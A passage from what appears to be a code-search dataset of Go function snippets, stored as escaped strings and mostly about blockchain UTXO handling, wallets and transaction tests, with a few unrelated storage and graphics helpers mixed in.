err)\n\t\t}\n\t\tif nfo.ScriptType == dexdcr.ScriptUnsupported || nfo.NonStandardScript {\n\t\t\t// InputInfo sets NonStandardScript for P2SH with non-standard\n\t\t\t// redeem scripts. Don't return these since they cannot fund\n\t\t\t// arbitrary txns.\n\t\t\tcontinue\n\t\t}\n\t\tutxos = append(utxos, &compositeUTXO{\n\t\t\trpc: utxo,\n\t\t\tinput: nfo,\n\t\t\tconfs: utxo.Confirmations,\n\t\t})\n\t}\n\t// Sort in ascending order by amount (smallest first).\n\tsort.Slice(utxos, func(i, j int) bool { return utxos[i].rpc.Amount < utxos[j].rpc.Amount })\n\treturn utxos, nil\n}", "func (utxos *UtxoStore) Update(block *Block) error {\n\tdb := utxos.Chain.db\n\tname := utxos.Chain.config.GetDbUtxoBucket()\n\terr := db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket([]byte(name))\n\t\tfor _, tx := range block.Transactions {\n\t\t\t// if !tx.IsCoinbase() {\n\t\t\tfor _, vin := range tx.Vin {\n\t\t\t\tvar updatedOuts []TxOutput\n\t\t\t\touts := DeserializeOutputs(bucket.Get(vin.Txid))\n\t\t\t\tfor oi, o := range outs {\n\t\t\t\t\tif oi != vin.Vout {\n\t\t\t\t\t\tupdatedOuts = append(updatedOuts, o)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif len(updatedOuts) == 0 {\n\t\t\t\t\tbucket.Delete(vin.Txid)\n\t\t\t\t} else {\n\t\t\t\t\tbucket.Put(vin.Txid, SerializeOutputs(updatedOuts))\n\t\t\t\t}\n\t\t\t\t// }\n\t\t\t\tbucket.Put(tx.ID, SerializeOutputs(tx.Vout))\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\treturn err\n}", "func CreateUnspent(bh BlockHeader, tx Transaction, outIndex int) (UxOut, error) {\n\tif len(tx.Out) <= outIndex {\n\t\treturn UxOut{}, fmt.Errorf(\"Transaction out index is overflow\")\n\t}\n\n\tvar h cipher.SHA256\n\tif bh.BkSeq != 0 {\n\t\th = tx.Hash()\n\t}\n\n\treturn UxOut{\n\t\tHead: UxHead{\n\t\t\tTime: bh.Time,\n\t\t\tBkSeq: bh.BkSeq,\n\t\t},\n\t\tBody: UxBody{\n\t\t\tSrcTransaction: h,\n\t\t\tAddress: tx.Out[outIndex].Address,\n\t\t\tCoins: tx.Out[outIndex].Coins,\n\t\t\tHours: tx.Out[outIndex].Hours,\n\t\t},\n\t}, nil\n}", "func (dcr *ExchangeWallet) parseUTXOs(unspents []walletjson.ListUnspentResult) ([]*compositeUTXO, error) {\n\tutxos := make([]*compositeUTXO, 0, len(unspents))\n\tfor _, txout := range unspents {\n\t\tscriptPK, err := hex.DecodeString(txout.ScriptPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding pubkey script for %s, script = %s: %w\", txout.TxID, txout.ScriptPubKey, err)\n\t\t}\n\t\tredeemScript, err := hex.DecodeString(txout.RedeemScript)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding redeem script for %s, script = %s: %w\", txout.TxID, txout.RedeemScript, err)\n\t\t}\n\n\t\tnfo, err := dexdcr.InputInfo(scriptPK, redeemScript, chainParams)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, dex.UnsupportedScriptError) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"error reading asset info: %w\", err)\n\t\t}\n\t\tutxos = append(utxos, &compositeUTXO{\n\t\t\trpc: txout,\n\t\t\tinput: nfo,\n\t\t\tconfs: txout.Confirmations,\n\t\t})\n\t}\n\t// Sort in ascending order by amount (smallest first).\n\tsort.Slice(utxos, func(i, j int) bool { return utxos[i].rpc.Amount < utxos[j].rpc.Amount })\n\treturn utxos, nil\n}", "func (api *PublicEthereumAPI) GetUncleByBlockNumberAndIndex(number hexutil.Uint, idx hexutil.Uint) map[string]interface{} {\n\treturn nil\n}", "func (*UTXO) Descriptor() ([]byte, []int) {\n\treturn file_utxo_proto_rawDescGZIP(), []int{0}\n}", "func NewUtxoEntry(isCoinBase bool, blockHeight uint64, spent bool) *UtxoEntry {\n\treturn &UtxoEntry{\n\t\tIsCoinBase: isCoinBase,\n\t\tBlockHeight: blockHeight,\n\t\tSpent: spent,\n\t}\n}", "func ToUTXO(utxos []Unspent, privs string) (tx.UTXOs, error) {\n\t//prepare private key.\n\tpriv, err := address.FromWIF(privs, address.BitcoinMain)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttxs := make(tx.UTXOs, len(utxos))\n\tfor i, utxo := range utxos {\n\t\thash, err := hex.DecodeString(utxo.Tx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\thash = tx.Reverse(hash)\n\t\tscript, err := hex.DecodeString(utxo.Script)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\ttxs[i] = &tx.UTXO{\n\t\t\tValue: utxo.Amount,\n\t\t\tKey: priv,\n\t\t\tTxHash: hash,\n\t\t\tTxIndex: utxo.N,\n\t\t\tScript: script,\n\t\t}\n\t}\n\treturn txs, nil\n}", "func (u utxo) convert() *bitcoin.UnspentTransactionOutput {\n\ttransactionHash, err := bitcoin.NewHashFromString(\n\t\tu.Outpoint.TransactionHash,\n\t\tbitcoin.ReversedByteOrder,\n\t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn &bitcoin.UnspentTransactionOutput{\n\t\tOutpoint: &bitcoin.TransactionOutpoint{\n\t\t\tTransactionHash: transactionHash,\n\t\t\tOutputIndex: u.Outpoint.OutputIndex,\n\t\t},\n\t\tValue: u.Value,\n\t}\n}", "func NewOTUtable(path, prog string) (*otuTable, error) {\n\ttable := &otuTable{\n\t\tpath: path,\n\t\tprogram: prog,\n\t}\n\t// read in the file\n\tvar err error\n\tswitch table.program {\n\tcase \"qiime\":\n\t\terr = table.readQiimeTable()\n\tdefault:\n\t\terr = fmt.Errorf(\"unsupported OTU table format: %v\", prog)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn table, nil\n}", "func TestUncleBlock(t *testing.T) {\n\tissuer1, vm1, _, sharedMemory1 := GenesisVM(t, true, genesisJSONApricotPhase0, \"\", \"\")\n\tissuer2, vm2, _, sharedMemory2 := GenesisVM(t, true, genesisJSONApricotPhase0, \"\", \"\")\n\n\tdefer func() {\n\t\tif err := vm1.Shutdown(); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tif err := vm2.Shutdown(); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t}()\n\n\tkey, err := accountKeystore.NewKey(rand.Reader)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Import 1 AVAX\n\timportAmount := uint64(1000000000)\n\tutxoID := avax.UTXOID{\n\t\tTxID: ids.ID{\n\t\t\t0x0f, 0x2f, 0x4f, 0x6f, 0x8e, 0xae, 0xce, 0xee,\n\t\t\t0x0d, 0x2d, 0x4d, 0x6d, 0x8c, 0xac, 0xcc, 0xec,\n\t\t\t0x0b, 0x2b, 0x4b, 0x6b, 0x8a, 0xaa, 0xca, 0xea,\n\t\t\t0x09, 0x29, 0x49, 0x69, 0x88, 0xa8, 0xc8, 0xe8,\n\t\t},\n\t}\n\n\tutxo := &avax.UTXO{\n\t\tUTXOID: utxoID,\n\t\tAsset: avax.Asset{ID: vm1.ctx.LUVAssetID},\n\t\tOut: &secp256k1fx.TransferOutput{\n\t\t\tAmt: importAmount,\n\t\t\tOutputOwners: secp256k1fx.OutputOwners{\n\t\t\t\tThreshold: 1,\n\t\t\t\tAddrs: []ids.ShortID{testKeys[0].PublicKey().Address()},\n\t\t\t},\n\t\t},\n\t}\n\tutxoBytes, err := vm1.codec.Marshal(codecVersion, utxo)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\txChainSharedMemory1 := sharedMemory1.NewSharedMemory(vm1.ctx.XChainID)\n\txChainSharedMemory2 := sharedMemory2.NewSharedMemory(vm2.ctx.XChainID)\n\tinputID := utxo.InputID()\n\tif err := xChainSharedMemory1.Put(vm1.ctx.ChainID, []*atomic.Element{{\n\t\tKey: inputID[:],\n\t\tValue: utxoBytes,\n\t\tTraits: [][]byte{\n\t\t\ttestKeys[0].PublicKey().Address().Bytes(),\n\t\t},\n\t}}); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif err := xChainSharedMemory2.Put(vm2.ctx.ChainID, []*atomic.Element{{\n\t\tKey: inputID[:],\n\t\tValue: utxoBytes,\n\t\tTraits: [][]byte{\n\t\t\ttestKeys[0].PublicKey().Address().Bytes(),\n\t\t},\n\t}}); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\timportTx, err := vm1.newImportTx(vm1.ctx.XChainID, key.Address, []*crypto.PrivateKeySECP256K1R{testKeys[0]})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := vm1.issueTx(importTx); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t<-issuer1\n\n\tvm1BlkA, err := vm1.BuildBlock()\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to build block with import transaction: %s\", err)\n\t}\n\n\tif err := vm1BlkA.Verify(); err != nil {\n\t\tt.Fatalf(\"Block failed verification on VM1: %s\", err)\n\t}\n\n\tif status := vm1BlkA.Status(); status != choices.Processing {\n\t\tt.Fatalf(\"Expected status of built block to be %s, but found %s\", choices.Processing, status)\n\t}\n\n\tif err := vm1.SetPreference(vm1BlkA.ID()); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tvm2BlkA, err := vm2.ParseBlock(vm1BlkA.Bytes())\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error parsing block from vm2: %s\", err)\n\t}\n\tif err := vm2BlkA.Verify(); err != nil {\n\t\tt.Fatalf(\"Block failed verification on VM2: %s\", err)\n\t}\n\tif status := vm2BlkA.Status(); status != choices.Processing {\n\t\tt.Fatalf(\"Expected status of block on VM2 to be %s, but found %s\", choices.Processing, status)\n\t}\n\tif err := vm2.SetPreference(vm2BlkA.ID()); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := vm1BlkA.Accept(); err != nil {\n\t\tt.Fatalf(\"VM1 failed to accept block: %s\", err)\n\t}\n\tif err := vm2BlkA.Accept(); err != nil {\n\t\tt.Fatalf(\"VM2 failed to accept block: %s\", err)\n\t}\n\n\ttxs := make([]*types.Transaction, 10)\n\tfor i := 0; i < 10; i++ {\n\t\ttx := types.NewTransaction(uint64(i), key.Address, big.NewInt(10), 21000, params.LaunchMinGasPrice, nil)\n\t\tsignedTx, err := types.SignTx(tx, types.NewEIP155Signer(vm1.chainID), key.PrivateKey)\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\ttxs[i] = signedTx\n\t}\n\n\tvar errs []error\n\n\terrs = vm1.chain.AddRemoteTxs(txs)\n\tfor i, err := range errs {\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Failed to add transaction to VM1 at index %d: %s\", i, err)\n\t\t}\n\t}\n\n\t<-issuer1\n\n\tvm1BlkB, err := vm1.BuildBlock()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := vm1BlkB.Verify(); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif status := vm1BlkB.Status(); status != choices.Processing {\n\t\tt.Fatalf(\"Expected status of built block to be %s, but found %s\", choices.Processing, status)\n\t}\n\n\tif err := vm1.SetPreference(vm1BlkB.ID()); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\terrs = vm2.chain.AddRemoteTxs(txs[0:5])\n\tfor i, err := range errs {\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Failed to add transaction to VM2 at index %d: %s\", i, err)\n\t\t}\n\t}\n\n\t<-issuer2\n\tvm2BlkC, err := vm2.BuildBlock()\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to build BlkC on VM2: %s\", err)\n\t}\n\n\tif err := vm2BlkC.Verify(); err != nil {\n\t\tt.Fatalf(\"BlkC failed verification on VM2: %s\", err)\n\t}\n\n\tif status := vm2BlkC.Status(); status != choices.Processing {\n\t\tt.Fatalf(\"Expected status of built block C to be %s, but found %s\", choices.Processing, status)\n\t}\n\n\tif err := vm2.SetPreference(vm2BlkC.ID()); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\terrs = vm2.chain.AddRemoteTxs(txs[5:10])\n\tfor i, err := range errs {\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Failed to add transaction to VM2 at index %d: %s\", i, err)\n\t\t}\n\t}\n\n\t<-issuer2\n\tvm2BlkD, err := vm2.BuildBlock()\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to build BlkD on VM2: %s\", err)\n\t}\n\n\t// Create uncle block from blkD\n\tblkDEthBlock := vm2BlkD.(*chain.BlockWrapper).Block.(*Block).ethBlock\n\tuncles := []*types.Header{vm1BlkB.(*chain.BlockWrapper).Block.(*Block).ethBlock.Header()}\n\tuncleBlockHeader := types.CopyHeader(blkDEthBlock.Header())\n\tuncleBlockHeader.UncleHash = types.CalcUncleHash(uncles)\n\n\tuncleEthBlock := types.NewBlock(\n\t\tuncleBlockHeader,\n\t\tblkDEthBlock.Transactions(),\n\t\tuncles,\n\t\tnil,\n\t\tnew(trie.Trie),\n\t\tblkDEthBlock.ExtData(),\n\t\tfalse,\n\t)\n\tuncleBlock := &Block{\n\t\tvm: vm2,\n\t\tethBlock: uncleEthBlock,\n\t\tid: ids.ID(uncleEthBlock.Hash()),\n\t}\n\tif err := uncleBlock.Verify(); !errors.Is(err, errUnclesUnsupported) {\n\t\tt.Fatalf(\"VM2 should have failed with %q but got %q\", errUnclesUnsupported, err.Error())\n\t}\n\tif _, err := vm1.ParseBlock(vm2BlkC.Bytes()); err != nil {\n\t\tt.Fatalf(\"VM1 errored parsing blkC: %s\", err)\n\t}\n\tif _, err := vm1.ParseBlock(uncleBlock.Bytes()); !errors.Is(err, errUnclesUnsupported) {\n\t\tt.Fatalf(\"VM1 should have failed with %q but got %q\", errUnclesUnsupported, err.Error())\n\t}\n}", "func (otuTable *otuTable) GetTotalGenusOTUs() int {\n\treturn otuTable.totalOTUs\n}", "func NotifyDataUnionOcNew(Oc OutputChange) NotifyDataUnion {\n\tvar b int\n\tbuf := make([]byte, 28)\n\n\t{\n\t\tstructBytes := Oc.Bytes()\n\t\tcopy(buf[b:], structBytes)\n\t\tb += len(structBytes)\n\t}\n\n\t// Create the Union type\n\tv := NotifyDataUnion{}\n\n\t// Now copy buf into all fields\n\n\tb = 0 // always read the same bytes\n\tv.Cc = CrtcChange{}\n\tb += CrtcChangeRead(buf[b:], &v.Cc)\n\n\tb = 0 // always read the same bytes\n\tv.Oc = OutputChange{}\n\tb += OutputChangeRead(buf[b:], &v.Oc)\n\n\tb = 0 // always read the same bytes\n\tv.Op = OutputProperty{}\n\tb += OutputPropertyRead(buf[b:], &v.Op)\n\n\tb = 0 // always read the same bytes\n\tv.Pc = ProviderChange{}\n\tb += ProviderChangeRead(buf[b:], &v.Pc)\n\n\tb = 0 // always read the same bytes\n\tv.Pp = ProviderProperty{}\n\tb += ProviderPropertyRead(buf[b:], &v.Pp)\n\n\tb = 0 // always read the same bytes\n\tv.Rc = ResourceChange{}\n\tb += ResourceChangeRead(buf[b:], &v.Rc)\n\n\treturn v\n}", "func (bav *UtxoView) _addUtxo(utxoEntryy *UtxoEntry) (*UtxoOperation, error) {\n\t// Use a copy of the utxo passed in so we avoid keeping a reference to it\n\t// which could be modified in subsequent calls.\n\tutxoEntryCopy := *utxoEntryy\n\n\t// If the utxoKey back-reference on the entry isn't set then error.\n\tif utxoEntryCopy.UtxoKey == nil {\n\t\treturn nil, fmt.Errorf(\"_addUtxo: utxoEntry must have utxoKey set\")\n\t}\n\t// If the UtxoEntry passed in has isSpent set then error. The caller should only\n\t// pass in entries that are unspent.\n\tif utxoEntryCopy.isSpent {\n\t\treturn nil, fmt.Errorf(\"_addUtxo: UtxoEntry being added has isSpent = true\")\n\t}\n\n\t// Put the utxo at the end and update our in-memory data structures with\n\t// this change.\n\t//\n\t// Note this may over-write an existing entry but this is OK for a very subtle\n\t// reason. When we roll back a transaction, e.g. due to a\n\t// reorg, we mark the outputs of that transaction as \"spent\" but we don't delete them\n\t// from our view because doing so would cause us to neglect to actually delete them\n\t// when we flush the view to the db. What this means is that if we roll back a transaction\n\t// in a block but then add it later in a different block, that second add could\n\t// over-write the entry that is currently has isSpent=true with a similar (though\n\t// not identical because the block height may differ) entry that has isSpent=false.\n\t// This is OK however because the new entry we're over-writing the old entry with\n\t// has the same key and so flushing the view to the database will result in the\n\t// deletion of the old entry as intended when the new entry over-writes it. Put\n\t// simply, the over-write that could happen here is an over-write we also want to\n\t// happen when we flush and so it should be OK.\n\tif err := bav._setUtxoMappings(&utxoEntryCopy); err != nil {\n\t\treturn nil, errors.Wrapf(err, \"_addUtxo: \")\n\t}\n\n\t// Bump the number of entries since we just added this one at the end.\n\tbav.NumUtxoEntries++\n\n\t// Finally record a UtxoOperation in case we want to roll back this ADD\n\t// in the future. Note that Entry data isn't required for an ADD operation.\n\treturn &UtxoOperation{\n\t\tType: OperationTypeAddUtxo,\n\t\t// We don't technically need these in order to be able to roll back the\n\t\t// transaction but they're useful for callers of connectTransaction to\n\t\t// determine implicit outputs that were created like those that get created\n\t\t// in a Bitcoin burn transaction.\n\t\tKey: utxoEntryCopy.UtxoKey,\n\t\tEntry: &utxoEntryCopy,\n\t}, nil\n}", "func (keeper Keeper) GetOpCUsAstInfo(ctx sdk.Context, symbol string) []sdk.OpCUAstInfo {\n\tcus := keeper.ck.GetOpCUs(ctx, symbol)\n\tcusInfo := make([]sdk.OpCUAstInfo, len(cus))\n\n\tfor i, cu := range cus {\n\t\tcusymbol := cu.GetSymbol()\n\t\tcuAst := keeper.GetCUIBCAsset(ctx, cu.GetAddress())\n\t\tti := keeper.tk.GetIBCToken(ctx, sdk.Symbol(cusymbol))\n\t\tchain := ti.Chain.String()\n\t\tcusInfo[i].Symbol = cusymbol\n\t\tcusInfo[i].Amount = cuAst.GetAssetCoins().AmountOf(cusymbol)\n\t\tcusInfo[i].CuAddress = cu.GetAddress().String()\n\t\tcusInfo[i].MultisignAddress = cuAst.GetAssetAddress(cusymbol, cuAst.GetAssetPubkeyEpoch())\n\t\tcusInfo[i].LastEpochMultisignAddress = cuAst.GetAssetAddress(cusymbol, cuAst.GetAssetPubkeyEpoch()-1)\n\t\tsendEnable := cuAst.IsEnabledSendTx(chain, cusInfo[i].MultisignAddress)\n\t\tcusInfo[i].Locked = !sendEnable\n\t\tcusInfo[i].GasUsed = cuAst.GetGasUsed().AmountOf(chain)\n\t\tcusInfo[i].GasReceived = cuAst.GetGasReceived().AmountOf(chain)\n\t\tcusInfo[i].MainNetAmount = cuAst.GetAssetCoins().AmountOf(chain)\n\t\tcusInfo[i].MigrationStatus = cuAst.GetMigrationStatus()\n\n\t\tif ti.TokenType == sdk.UtxoBased {\n\t\t\tcusInfo[i].DepositList = keeper.GetDepositList(ctx, cusymbol, cu.GetAddress())\n\t\t}\n\t}\n\treturn cusInfo\n}", "func (fs FS) GetFileioUdev(fileioNumber string, objectName string) (*FILEIO, error) {\n\tfileio := FILEIO{\n\t\tName: \"fileio_\" + fileioNumber,\n\t\tFnumber: fileioNumber,\n\t\tObjectName: objectName,\n\t}\n\tudevPath := fs.configfs.Path(targetCore, fileio.Name, fileio.ObjectName, \"udev_path\")\n\n\tif _, err := os.Stat(udevPath); os.IsNotExist(err) {\n\t\treturn nil, fmt.Errorf(\"iscsi: GetFileioUdev: fileio_%s is missing file name\", fileio.Fnumber)\n\t}\n\tfilename, err := ioutil.ReadFile(udevPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"iscsi: GetFileioUdev: Cannot read filename from udev link :%s\", udevPath)\n\t}\n\tfileio.Filename = strings.TrimSpace(string(filename))\n\n\treturn &fileio, nil\n}", "func testOltObject(testOlt *fields) *OpenOLT {\n\treturn &OpenOLT{\n\t\tdeviceHandlers: testOlt.deviceHandlers,\n\t\teventProxy: testOlt.eventProxy,\n\t\tnumOnus: testOlt.numOnus,\n\t\tKVStoreAddress: testOlt.KVStoreAddress,\n\t\tKVStoreType: testOlt.KVStoreType,\n\t\texitChannel: testOlt.exitChannel,\n\t}\n}", "func (state *State) ToUserData(index int) *Object {\n\tif udata, ok := state.get(index).(*Object); ok {\n\t\treturn udata\n\t}\n\treturn nil\n}", "func (blc *Blockchain) getUTXOsByAddress(address string, txs []*Transaction) []*UTXO {\n\tvar utxos []*UTXO\n\tspentTxOutputMap := make(map[string][]int)\n\t// calculate UTXOs by querying txs\n\tfor i := len(txs) - 1; i >= 0; i-- {\n\t\tutxos = caculate(txs[i], address, spentTxOutputMap, utxos)\n\t}\n\n\t// calculate UTXOs by querying Blocks\n\tit := blc.Iterator()\n\tfor {\n\t\tblock := it.Next()\n\t\tfor i := len(block.Transactions) - 1; i >= 0; i-- {\n\t\t\tutxos = caculate(block.Transactions[i], address, spentTxOutputMap, utxos)\n\t\t}\n\t\thashInt := new(big.Int)\n\t\thashInt.SetBytes(block.PrevBlockHash)\n\t\t// If current block is genesis block, exit loop\n\t\tif big.NewInt(0).Cmp(hashInt) == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn utxos\n}", "func (client *Client) GetOpenNLU(request *GetOpenNLURequest) (response *GetOpenNLUResponse, err error) {\n\tresponse = CreateGetOpenNLUResponse()\n\terr = client.DoAction(request, response)\n\treturn\n}", "func (bdm *MySQLDBManager) GetUnspentOutputsObject() (UnspentOutputsInterface, error) {\n\tconn, err := bdm.getConnection()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuts := UnspentOutputs{}\n\tuts.DB = &MySQLDB{conn, bdm.Config.TablesPrefix, bdm.Logger}\n\n\treturn &uts, nil\n}", "func (s *StateDB) UtxoRoot() *corecrypto.HashType {\n\treturn s.utxoTrie.RootHash()\n}", "func (s *StateDB) UpdateUtxo(addr types.AddressHash, utxoBytes []byte) error {\n\treturn s.utxoTrie.Update(addr[:], utxoBytes)\n}", "func (fs FS) GetIblockUdev(iblockNumber string, objectName string) (*IBLOCK, error) {\n\tiblock := IBLOCK{\n\t\tName: \"iblock_\" + iblockNumber,\n\t\tBnumber: iblockNumber,\n\t\tObjectName: objectName,\n\t}\n\tudevPath := fs.configfs.Path(targetCore, iblock.Name, iblock.ObjectName, \"udev_path\")\n\n\tif _, err := os.Stat(udevPath); os.IsNotExist(err) {\n\t\treturn nil, fmt.Errorf(\"iscsi: GetIBlockUdev: iblock_%s is missing file name\", iblock.Bnumber)\n\t}\n\tfilename, err := ioutil.ReadFile(udevPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"iscsi: GetIBlockUdev: Cannot read iblock from udev link :%s\", udevPath)\n\t}\n\tiblock.Iblock = strings.TrimSpace(string(filename))\n\n\treturn &iblock, nil\n}", "func (ac *AddressCache) UtxoStats() (hits, misses int) {\n\treturn ac.cacheMetrics.utxoStats()\n}", "func NewUtxoCommand(cli *Cli) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"utxo\",\n\t\tShort: \"Operate an utxo: list|merge|split.\",\n\t}\n\tcmd.AddCommand(NewListUtxoCommand(cli))\n\tcmd.AddCommand(NewMergeUtxoCommand(cli))\n\tcmd.AddCommand(NewSplitUtxoCommand(cli))\n\n\treturn cmd\n}", "func (w *Wallet) GetAllUTXO(s *aklib.DBConfig, pwd []byte) ([]*tx.UTXO, uint64, error) {\n\tlog.Println(4)\n\tu, bal, err := w.GetUTXO(s, pwd, true)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\tlog.Println(5)\n\tu2, bal2, err := w.GetUTXO(s, pwd, false)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\treturn append(u, u2...), bal + bal2, nil\n}", "func (o IopingSpecVolumeVolumeSourceQuobyteOutput) User() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v IopingSpecVolumeVolumeSourceQuobyte) *string { return v.User }).(pulumi.StringPtrOutput)\n}", "func (b *Block) Body() *Body { return &Body{b.transactions, b.signs} }", "func (b *BlockChain) NewUtreexoBridgeState() (*UtreexoBridgeState, error) {\n\tvar f *os.File\n\tvar err error\n\n\tif !b.utreexoInRam {\n\t\tutreexoBSPath := filepath.Join(b.dataDir, \"bridge_data\")\n\n\t\t// Check and make directory if it doesn't exist\n\t\tif _, err := os.Stat(utreexoBSPath); os.IsNotExist(err) {\n\t\t\tos.MkdirAll(utreexoBSPath, 0700)\n\t\t}\n\t\tforestPath := filepath.Join(utreexoBSPath, \"forestdata.dat\")\n\t\tf, err = os.OpenFile(forestPath, os.O_RDWR|os.O_CREATE, 0755)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// Default to ram for now\n\treturn &UtreexoBridgeState{\n\t\tforest: accumulator.NewForest(f, false, \"\", 0),\n\t}, nil\n}", "func NewMsgIBDRootUTXOSetAndBlock(utxoSet []byte, block *MsgBlock) *MsgIBDRootUTXOSetAndBlock {\n\treturn &MsgIBDRootUTXOSetAndBlock{\n\t\tUTXOSet: utxoSet,\n\t\tBlock: block,\n\t}\n}", "func getOVMETHTotalSupply(inStateDB *state.StateDB) *big.Int {\n\tposition := common.Big2\n\tkey := common.BytesToHash(common.LeftPadBytes(position.Bytes(), 32))\n\treturn inStateDB.GetState(OVMETHAddress, key).Big()\n}", "func getOwner() []byte {\n\treturn state.ReadBytes(OWNER_KEY)\n}", "func (s *Server) txGetOutput(symbol string, txId string, height int64) *blocc.TxOut {\n\ttx, err := s.blockChainStore.GetTxByTxId(symbol, txId, blocc.TxIncludeOut)\n\tif err != nil {\n\t\treturn nil\n\t}\n\tif int64(len(tx.Out)) > height {\n\t\treturn tx.Out[height]\n\t}\n\treturn nil\n}", "func getUFADetails(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\n\tlogger.Info(\"getUFADetails called with UFA number: \" + args[0])\n\n\tvar outputRecord map[string]interface{}\n\tufanumber := args[0] //UFA ufanum\n\t//who :=args[1] //Role\n\trecBytes, _ := stub.GetState(ufanumber)\n\tjson.Unmarshal(recBytes, &outputRecord)\n\toutputBytes, _ := json.Marshal(outputRecord)\n\tlogger.Info(\"Returning records from getUFADetails \" + string(outputBytes))\n\treturn outputBytes, nil\n}", "func (bc *BlockChain) FindUTXO(addr string) []TXOutput {\n\tvar UTXOs []TXOutput\n\tunspentTransactions := bc.FindUnspentTransactions(addr)\n\n\tfor _, tx := range unspentTransactions {\n\t\tfor _, out := range tx.VOut {\n\t\t\tif out.CanBeUnlockedWith(addr) {\n\t\t\t\tUTXOs = append(UTXOs, out)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn UTXOs\n}", "func (dcr *ExchangeWallet) spendableUTXOs() ([]*compositeUTXO, error) {\n\tunspents, err := dcr.unspents()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(unspents) == 0 {\n\t\treturn nil, fmt.Errorf(\"insufficient funds. 0 DCR available to spend in %q account\", dcr.acct)\n\t}\n\n\t// Parse utxos to include script size for spending input.\n\t// Returned utxos will be sorted in ascending order by amount (smallest first).\n\tutxos, err := dcr.parseUTXOs(unspents)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing unspent outputs: %w\", err)\n\t}\n\tif len(utxos) == 0 {\n\t\treturn nil, fmt.Errorf(\"no funds available\")\n\t}\n\treturn utxos, nil\n}", "func (cr CURetriever) GetCU(addr sdk.CUAddress) (exported.CustodianUnit, error) {\n\tCU, _, err := cr.GetCUWithHeight(addr)\n\treturn CU, err\n}", "func NewUTXOSet(chain *Blockchain) *UTXOSet {\n\treturn &UTXOSet{Blockchain: chain}\n}", "func getUFADetails(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\r\n\tlogger.Info(\"getUFADetails called with UFA number: \" + args[0])\r\n\r\n\tvar outputRecord map[string]string\r\n\tufanumber := args[0] //UFA ufanum\r\n\t//who :=args[1] //Role\r\n\trecBytes, _ := stub.GetState(ufanumber)\r\n\tjson.Unmarshal(recBytes, &outputRecord)\r\n\toutputBytes, _ := json.Marshal(outputRecord)\r\n\tlogger.Info(\"Returning records from getUFADetails \" + string(outputBytes))\r\n\treturn outputBytes, nil\r\n}", "func CreateUploadIoTDataToBlockchainResponse() (response *UploadIoTDataToBlockchainResponse) {\n\tresponse = &UploadIoTDataToBlockchainResponse{\n\t\tBaseResponse: &responses.BaseResponse{},\n\t}\n\treturn\n}", "func (op *TransitToCyberwayOperation) Data() interface{} {\n\treturn op\n}", "func (_Lmc *LmcCaller) UserInfo(opts *bind.CallOpts, arg0 common.Address) (struct {\n\tFirstStakedBlockNumber *big.Int\n\tAmountStaked *big.Int\n}, error) {\n\tvar out []interface{}\n\terr := _Lmc.contract.Call(opts, &out, \"userInfo\", arg0)\n\n\toutstruct := new(struct {\n\t\tFirstStakedBlockNumber *big.Int\n\t\tAmountStaked *big.Int\n\t})\n\tif err != nil {\n\t\treturn *outstruct, err\n\t}\n\n\toutstruct.FirstStakedBlockNumber = *abi.ConvertType(out[0], new(*big.Int)).(**big.Int)\n\toutstruct.AmountStaked = *abi.ConvertType(out[1], new(*big.Int)).(**big.Int)\n\n\treturn *outstruct, err\n\n}", "func (*UTXOs) Descriptor() ([]byte, []int) {\n\treturn file_token_balance_proto_rawDescGZIP(), []int{16}\n}", "func (a *ChainAdaptor) QueryUtxoTransaction(req *proto.QueryTransactionRequest) (*proto.QueryUtxoTransactionReply, error) {\n\tkey := strings.Join([]string{req.Symbol, req.TxHash}, \":\")\n\ttxCache := 